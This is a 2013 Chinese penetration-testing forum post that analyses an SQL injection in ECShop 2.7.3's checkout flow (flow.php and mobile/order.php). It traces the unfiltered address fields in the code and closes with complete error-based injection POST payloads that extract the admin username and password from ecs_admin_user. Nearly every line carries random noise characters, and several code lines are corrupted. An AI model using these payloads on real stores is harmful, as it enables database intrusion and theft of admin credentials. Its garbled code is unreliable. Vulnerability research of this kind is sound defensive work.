中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。5 A. r  j$ @) b+ Z& r0 ^1 ]
; T' [  J- V7 L9 S- S
    漏洞关键文件:, ?5 x- X+ s! F4 Y' E5 R
# z% r& F, B+ V8 n; [. l, b
    /includes/lib_order.php
# h- R( \' h( `* ]3 q: U, R4 s+ S2 }* ^
1 F' s2 R( n6 U    关键函数:2 g' Q) g6 l3 _" a

! v; C4 C! i5 L
1 J$ T+ i6 |- m) E3 {8 n/ x  Z' H$ {! i
01     function available_shipping_list($region_id_list)
1 J8 j# ]1 R9 y0 Q7 W
! Q% G# K; H: W3 @# e! d) p02 {
; H! m3 e  Z: @( z+ T& i
) I4 |8 N; U! Z/ @5 @2 x0 R) C& d03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
" f5 X/ l; {( s. p" R
- S& V9 P1 j. N% g04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . + O+ b0 I. G- J7 u) M% B: {
: y; j; t+ F* f) Q+ w
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . : C! C' c8 H+ j2 g) k: m0 M3 Q
6 h+ O0 u, n/ U' T
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 7 E% E: ^6 ?( f( K

/ T: \# U% |% m9 R07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
3 I! p, @' _/ R5 t: C
0 Z5 A( e: Q5 {8 @08             'WHERE r.region_id ' . db_create_in($region_id_list) .
& l5 t0 _0 b3 r5 ~4 x8 m7 `
3 d+ j! A( W/ w, I09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; $ J; u. _6 ?% y% T" l
# L* w  ?# O, j
10   ) Z$ ]3 E, a& u8 K* y) b# X
+ a9 E9 Q) I: I1 t' C% G
11     return $GLOBALS['db']->getAll($sql);
$ U& X- F5 I6 ?" s! U' J$ f6 c& l2 ]7 L
12 }   P4 A2 w- d2 h+ q) i

! ]  K2 \" e3 X显然对传入的参数没有任何过滤就带入了查询语句。
; z% i, q! h' P- O5 u& g+ m' |1 i; P& f 7 n" B: _' k" y+ i7 C7 G
下面我们追踪这个函数在flow.php中:
. z0 ]4 k* }7 I( `/ A 第531行:   ! S3 w( |, l6 f2 i" e

4 I' |( E: s- g1 $shipping_list     = available_shipping_list($region);
* {( l: o* y5 y2 N5 `6 t' |( ]+ Z2 Q& N
" h- B4 q/ k2 y
" {$ W4 F+ l1 e6 j8 Q. Z3 c% `8 Q1 z6 U

) Z) N9 a, z0 k* I! k: D5 f+ ?0 W
, O# b; v4 |+ I6 r0 x2 M+ n0 u8 G再对传入变量进行追踪:" k( [& F% Z( T, P/ r% j. f

! C, j2 c6 G, ^' L& S5 d( m% A* Q+ o第530行:   
- ]  y. q( o9 q1 X/ H" ]0 U" ^. Q& D
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ b, o1 T4 Q  z5 ]1 X8 C. K
" V& y8 n  s. J. Q, y9 w

/ Q7 K9 E* `4 W; @& s5 [2 k. m9 {6 ?$ R8 s% i+ ^& y

8 d% |, I$ e6 g7 J3 o$ Y9 ^. i% u+ m
第473行:        ' B9 ]* x; N; ?; P; s& P
) S  X( T9 T( _
1 $consignee = get_consignee($_SESSION['user_id']); / N& `8 m+ e4 i4 ~! ]% }5 O1 j
2 P; M4 S; K! n9 O
到了一个关键函数:: r- q' n' i, O& P

( Z" n$ ~8 a/ S: }$ {- N3 K/includes/lib_order.php5 Q' e7 {( [# F% ~0 k0 g5 [; n. p
- A6 x. [2 Q2 ~, u9 s

( O3 v8 d8 m. z3 K' s- ?0 B) m6 e/ G; g3 ^7 a) t1 `' J7 ?

. B4 k  w& W9 E5 K! N" |& \0 M) z! {: r2 A4 k2 m' }* g
01 function get_consignee($user_id) * E! q+ h, H% z, [2 L# y3 B
$ |0 _' h/ @6 H6 g0 t" M$ x9 x
02 {
( ~3 S: _# E* L* i" E! @4 q, L3 P+ y& P0 a
03     if (isset($_SESSION['flow_consignee']))
3 G8 Q+ w- f1 N5 c# l" U8 P# r
/ }; j7 @1 [' V) \, U04     { 8 p8 w% Y( o0 q/ v& e& |
3 ]# a6 l+ x( \* s( F% j
05         /* 如果存在session,则直接返回session中的收货人信息 */
  v3 k3 Q7 a/ J7 P- W1 i" g. O+ u& X
06   
$ B6 z# F. R5 ~4 _% E! T  ^# i/ W) W2 P4 f% W/ j
07         return $_SESSION['flow_consignee'];
9 y( w8 ~9 A" J5 W
* w% v  A0 w( Y6 m08     }
7 k# T( U/ I* l" R' W5 v: P  p6 S7 K0 r! R0 R0 j; R' y
09     else 6 `% x1 j/ o2 v+ a) c
3 E2 t# g1 L8 L* o* j
10     { * L* Q& k& b& M4 |9 u

0 J/ ]' o; X9 C( F4 b& ~' `2 b11         /* 如果不存在,则取得用户的默认收货人信息 */ 4 O- @% b% K6 p; T' O

9 \# Y) ]0 R8 A5 y12         $arr = array();
5 T% F* V0 f" h0 p$ m2 {  \
! b" Z! ], c. h" p& r13   
* r3 J" u  ], n! D( `2 k
. l) `+ h* P* _6 ?14         if ($user_id > 0) ( d6 m, ]' e& b! p8 R

$ D# F! N9 E4 D& E15         {
* X! e9 b% T5 p' [; l4 S* K& B! i9 Y5 X' h/ G0 ^  X
16             /* 取默认地址 */
3 c( ]3 g! u- \' H" Y/ s( |9 \/ f; H# C  b' E8 i
17             $sql = "SELECT ua.*".
- X$ t2 N: t1 `
2 g9 @* \7 p7 o$ `- C18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ! G( K+ S# d0 l# u5 t

" b4 c3 a" h6 o. I# U, a19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
9 s, C' o9 H4 u) d
8 X3 d0 Z& Z1 d9 }* A' @. `20   , T$ `, ~2 g3 z* Z( q& _: M4 o
* P& A% T% i4 y9 h
21             $arr = $GLOBALS['db']->getRow($sql);
+ j0 N9 t+ T5 ~& z: W) {  y
5 Y0 J2 h5 c( k; G# o" J9 A6 P/ i22         } & O) q9 `8 w2 ^  R
4 Y; b, i* _8 e6 n) _) u
23   
5 z6 \3 J# S# j' h# h/ I  T
  e3 N5 ?& ?: ^% j4 x% E24         return $arr; $ p; l1 c% v6 [1 `+ F" l

- h8 `% F! D  N2 j( ~- |25     }   |! ^( F; t$ l7 x2 j
" Q& i3 T* f% y( ?& _+ P
26 } , N4 p' u! W! q7 h6 R8 a8 T8 g
8 z( A4 l% W+ T4 g
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?, M6 V. }8 O# ?4 g4 k# a/ o6 Y1 q
9 j, Z0 x2 A& g9 K

+ m# Y9 W4 h, c
- X/ a% X, x. l' Y关键点:0 _5 E9 \3 T8 w& c( Y8 ]3 D0 u
* p9 D' c& j$ Y0 b& f( o8 f. B0 `
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);! s" [+ |% Q$ ^! F; [5 s8 A

5 k% y7 Z+ f7 H% C- |  x; a这里对传入参数反转义存入$_SESSION中。6 d3 j& Y7 a4 ^( J6 G9 C

* j5 `0 D4 h, K8 }) s- C
4 B/ `; H/ K! g/ ^' e) ~- Q
; [! b% @7 A; l% o3 w9 v% n' D然后看下:
# z2 d. ?0 n- [, M9 H% b. }
- m4 x, u6 j* r: f& \ 0 t( T8 C, t& _, s; J& c( v4 s# K
) j& O4 y4 U$ B5 `' u$ T9 c
    - A7 O3 ^( R+ t& q' j
8 _- ^' G8 f2 h6 i
01 $consignee = array(
0 ?& V, @8 p5 i0 M. _5 w5 f/ a0 H
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
; x& e2 Y  g+ F7 I6 ?5 j1 J, e! k1 |4 J8 r3 ^7 F" ]- q
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), . n& B/ a( g- L0 F
9 }0 q+ f" L$ T$ F
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 \; M8 A8 h/ z
& t! q. C3 N* V: y0 e& {05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ' ^8 p9 V5 l/ M" Z

! u0 |$ B3 N3 A* b1 ]2 [' u3 K5 D06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
% L/ C7 `/ \1 |4 A* B) S4 z
6 v& F  _$ c0 t' ^0 `6 t( I& Q4 g9 r$ _07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
* x5 }5 g- a: T7 Y3 }) `6 m' j' X/ G: N
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], " G, y. K- _4 o+ q
2 V( {  A6 A1 K6 ^
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 7 U- }+ g6 v2 u5 X% S
; ~) h& t9 a2 E; ~5 Z7 q# o2 F
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ) G0 S9 k; s0 n! [4 f% `( Q+ T+ W: t. d
' c0 J$ n( X' x
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
2 h! x& v! u1 L2 d0 ~3 b; b$ O* c" [! Z! l' c: P4 C" q+ C
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), : s8 n0 ?' T$ j( V$ y0 ^

( |2 ]( M6 @/ e13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ' J' t9 {- _9 d& w) t8 o  M) E, L
6 b5 @+ m: C' l! U0 J
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], $ P' R: @7 u4 r5 H5 V  `
- v: q4 B7 Q3 ?! h
15     );
% N+ N$ `% D3 h% T7 @
7 e* Q' J- G5 M! ?' x好了注入就这样出现了。% k1 x7 i2 ~  V1 L

/ }, r$ r1 o! Y; a2 N==================
/ G* b3 ^1 F. {/ M; |" |; s7 u1 q! [- F* `) W
注入测试:
8 \- l) I0 F3 Y/ f% T1 T' K( j4 @# W( ?" M: F& o* W' c9 A, M
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)) x6 o& y, A0 u
( ?. k3 H  f/ N+ A( E
测试程序:ECShop_V2.7.3_UTF8_release11066 Y) v: G& _9 Z1 y/ O
" f8 ^- G, `* p+ T
# l, q/ w( }  B" T7 a
: m0 Q1 t& ~( p2 K2 x, h( F5 s- L
1.首先需要点击一个商品加入购物车; B# E/ H% @% C# P5 n6 k

! S3 y, H8 B7 Y) G2.注册一个会员帐号: \+ X. _, a, L& j0 ^
) I: P! U' u, c  m
3.post提交数据. X) \4 y$ ^8 r' Q6 B4 e4 R7 \
7 s# S8 k: M5 {$ P1 B

3 f  s& V5 Q/ s( w" p
1 n  u$ \; `/ {0 Y: G1 http://127.0.0.1/ecshop/flow.php
; g7 z1 w- X0 {3 g. N: F
" e) @% d- x1 t9 \+ H2   
0 U# ]4 e6 i7 M  B% V7 \3 v& [
* d0 f7 P# m! w1 `/ j0 R+ t3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
, `; \# x7 ?6 x举一反三,我们根据这个漏洞我们可以继续深入挖掘:
" d# b5 U5 }+ }# W3 b, r
3 ~, P+ [- _( c' r. m! I我们搜寻关键函数function available_shipping_list()
( E  p" B: j: H: l3 y0 P$ G' k2 Z2 U6 W1 j( K1 G0 e
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
; N, R5 v4 e0 P0 V5 j
+ x$ ]9 _1 |1 K1 d, @0 e利用exp:
: F8 e# f  Q1 A- F
- X' M8 w* M9 ?* O1.点击一个商品,点击购买商标+ \2 y8 J9 E2 k

+ x. u, l/ n3 A$ m# z7 A' Z* q% t$ J2.登录会员帐号
1 o2 c, C9 P, ]8 o, D4 H
+ \2 }# D, m8 S7 M- R6 g3.post提交:
' C+ C/ {) M2 ?
3 Z: S" l7 i$ C; S2 v5 bhttp://127.0.0.1/ecshop/mobile/order.php
7 F' C6 \0 H( ^2 k2 ^0 K6 \
  T* c! s! W# y- Z' k- g! Y& A4 U6 }
9 N: F* m5 ?( w( P, D0 G
, D/ g: }+ R0 P6 ]) ?3 A* ^% w5 hcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=$ H3 g9 U0 K# J, f) Q
, y7 U* b# `5 I& l0 J, @





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2